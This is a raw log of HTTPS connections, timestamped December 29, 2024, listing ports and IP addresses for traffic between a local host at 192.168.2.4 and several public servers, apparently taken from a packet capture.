Dec 29, 2024 13:55:43.633459091 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:43.633570910 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:44.098984957 CET	50660	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:44.099020958 CET	443	50660	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:44.457108974 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:44.457174063 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:44.457396030 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:44.457626104 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:44.457639933 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:44.841376066 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:44.841612101 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:44.841650963 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:44.842710018 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:44.842780113 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:44.843684912 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:44.843785048 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:44.843852997 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:44.843863964 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:45.024251938 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:45.219005108 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.219064951 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:45.219151020 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.219770908 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.219798088 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:45.220904112 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.220953941 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:45.221095085 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.221606970 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:45.221622944 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:45.248003006 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:45.248079062 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:45.248116970 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:45.262833118 CET	50667	443	192.168.2.4	91.228.74.200
Dec 29, 2024 13:55:45.262857914 CET	443	50667	91.228.74.200	192.168.2.4
Dec 29, 2024 13:55:45.264174938 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:45.264210939 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:45.264384985 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:45.264818907 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:45.264832973 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:45.370738029 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:45.370778084 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:45.370913982 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:45.371541977 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:45.371553898 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.000133038 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.001043081 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:46.001071930 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.001450062 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.002399921 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:46.002473116 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.002928019 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:46.047333956 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.446335077 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.446436882 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.446567059 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:46.499572039 CET	50680	443	192.168.2.4	52.223.40.198
Dec 29, 2024 13:55:46.499583006 CET	443	50680	52.223.40.198	192.168.2.4
Dec 29, 2024 13:55:46.633730888 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.653496981 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.653539896 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.654187918 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.655236959 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.655344009 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.656951904 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.680408955 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.690471888 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.699333906 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.714297056 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:46.714312077 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.714641094 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.714669943 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.715148926 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.715471983 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.715543032 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:46.716260910 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.716325998 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.716734886 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:46.716789007 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.717026949 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.717078924 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:46.717092991 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:46.726069927 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.726861000 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.726876020 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.727230072 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.727776051 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.727833986 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.727952003 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.762451887 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.762482882 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.762725115 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.762978077 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:46.762984037 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.763324976 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.770910978 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.770937920 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.771034002 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.771930933 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:46.771939039 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:46.775325060 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:46.835510969 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:47.062277079 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.062320948 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.062406063 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.062622070 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.062639952 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.069087982 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.069120884 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.069178104 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.069339037 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.069351912 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.160397053 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.160490990 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.160614967 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.161392927 CET	50690	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.161412954 CET	443	50690	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.171864033 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:47.171936989 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:47.171983957 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:47.172282934 CET	50699	443	192.168.2.4	104.244.42.195
Dec 29, 2024 13:55:47.172297001 CET	443	50699	104.244.42.195	192.168.2.4
Dec 29, 2024 13:55:47.215529919 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.215610027 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.215675116 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.230890036 CET	50691	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:47.230916023 CET	443	50691	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:47.262643099 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:47.262726068 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:47.262778044 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:47.263371944 CET	50698	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:47.263381958 CET	443	50698	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.117744923 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:48.117779016 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:48.117875099 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:48.118068933 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:48.118083000 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:48.185194969 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.185652971 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.185662031 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.186053991 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.186367035 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.186430931 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.186538935 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.223473072 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.227329969 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.233154058 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:48.233160973 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.233513117 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.233923912 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:48.234033108 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:48.234112978 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:48.234463930 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:48.234507084 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:48.234896898 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:48.234955072 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.235112906 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:48.267071009 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.267111063 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.267173052 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.267637014 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.267657042 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.275325060 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.437669039 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.442966938 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.442990065 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.444078922 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.444139957 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.447452068 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.447532892 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.448132038 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.448144913 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.475980043 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.477118969 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.477169037 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.477545023 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.478578091 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.478652000 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.479304075 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.523350954 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.633275032 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.711527109 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.711604118 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.711646080 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.734277010 CET	50709	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:48.734294891 CET	443	50709	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.760473013 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.760535002 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.760602951 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:48.761070013 CET	50708	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:48.761075020 CET	443	50708	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:48.909854889 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:48.909888983 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:48.909949064 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:48.910979033 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:48.911000967 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:48.954122066 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.954176903 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:48.954233885 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.003556967 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.003619909 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.003669977 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.140738010 CET	50714	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.140759945 CET	443	50714	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.141271114 CET	50713	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.141325951 CET	443	50713	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.380954981 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.429291964 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.429303885 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.430331945 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.430381060 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.463242054 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.463372946 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.465226889 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.465240955 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.626785040 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.651072979 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.651097059 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:49.651345968 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.651988983 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.651998997 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:49.681113005 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.681222916 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.684588909 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.684609890 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.684937954 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.684957027 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.684983969 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.685333014 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.685388088 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.685717106 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.685794115 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.685894012 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.686042070 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.686094999 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.687511921 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.687572956 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.687901020 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.687907934 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:49.729377985 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:49.731328011 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:49.806910038 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:49.855633974 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.855664015 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:49.855731010 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.857462883 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:49.857475042 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:49.894121885 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.894246101 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.894463062 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.895381927 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.895397902 CET	443	50734	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:49.895406961 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:49.895440102 CET	50734	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:50.083867073 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:50.083904028 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:50.083992958 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:50.086231947 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:50.086247921 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:50.207695007 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:50.207778931 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:50.207838058 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:50.214454889 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:50.214548111 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:50.214611053 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:50.214890957 CET	50739	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:50.214914083 CET	443	50739	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:50.577037096 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:50.577238083 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:50.577260017 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:50.578174114 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:50.578223944 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:50.677365065 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:50.677438974 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:50.679066896 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:50.679089069 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:50.793576956 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:51.022219896 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:51.069987059 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.075227022 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:51.075274944 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:51.077380896 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.077398062 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.077697992 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.078118086 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.078147888 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:51.078197002 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.078675985 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.078712940 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:51.078804016 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.079093933 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.079148054 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.079435110 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.079452991 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:51.079574108 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:51.079586029 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:51.079802990 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.127327919 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.145459890 CET	50742	443	192.168.2.4	192.132.33.68
Dec 29, 2024 13:55:51.145476103 CET	443	50742	192.132.33.68	192.168.2.4
Dec 29, 2024 13:55:51.271645069 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.283255100 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.283272028 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.283680916 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.284250021 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.284301996 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.284694910 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.331334114 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.389748096 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.398564100 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.398581982 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.399667978 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.399739981 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.490127087 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.490269899 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.490768909 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.490784883 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.598493099 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.598582983 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.598840952 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.606745005 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.756175995 CET	50751	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.756181955 CET	443	50751	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.797645092 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.797719955 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.797815084 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.923894882 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.924005985 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:51.924089909 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:51.990653038 CET	50753	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:51.990688086 CET	443	50753	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:51.992588043 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:51.992640972 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:51.992726088 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:51.993660927 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:51.993689060 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:52.075457096 CET	50756	443	192.168.2.4	172.64.150.63
Dec 29, 2024 13:55:52.075474977 CET	443	50756	172.64.150.63	192.168.2.4
Dec 29, 2024 13:55:52.138551950 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.138578892 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.138834000 CET	50771	443	192.168.2.4	34.241.209.94
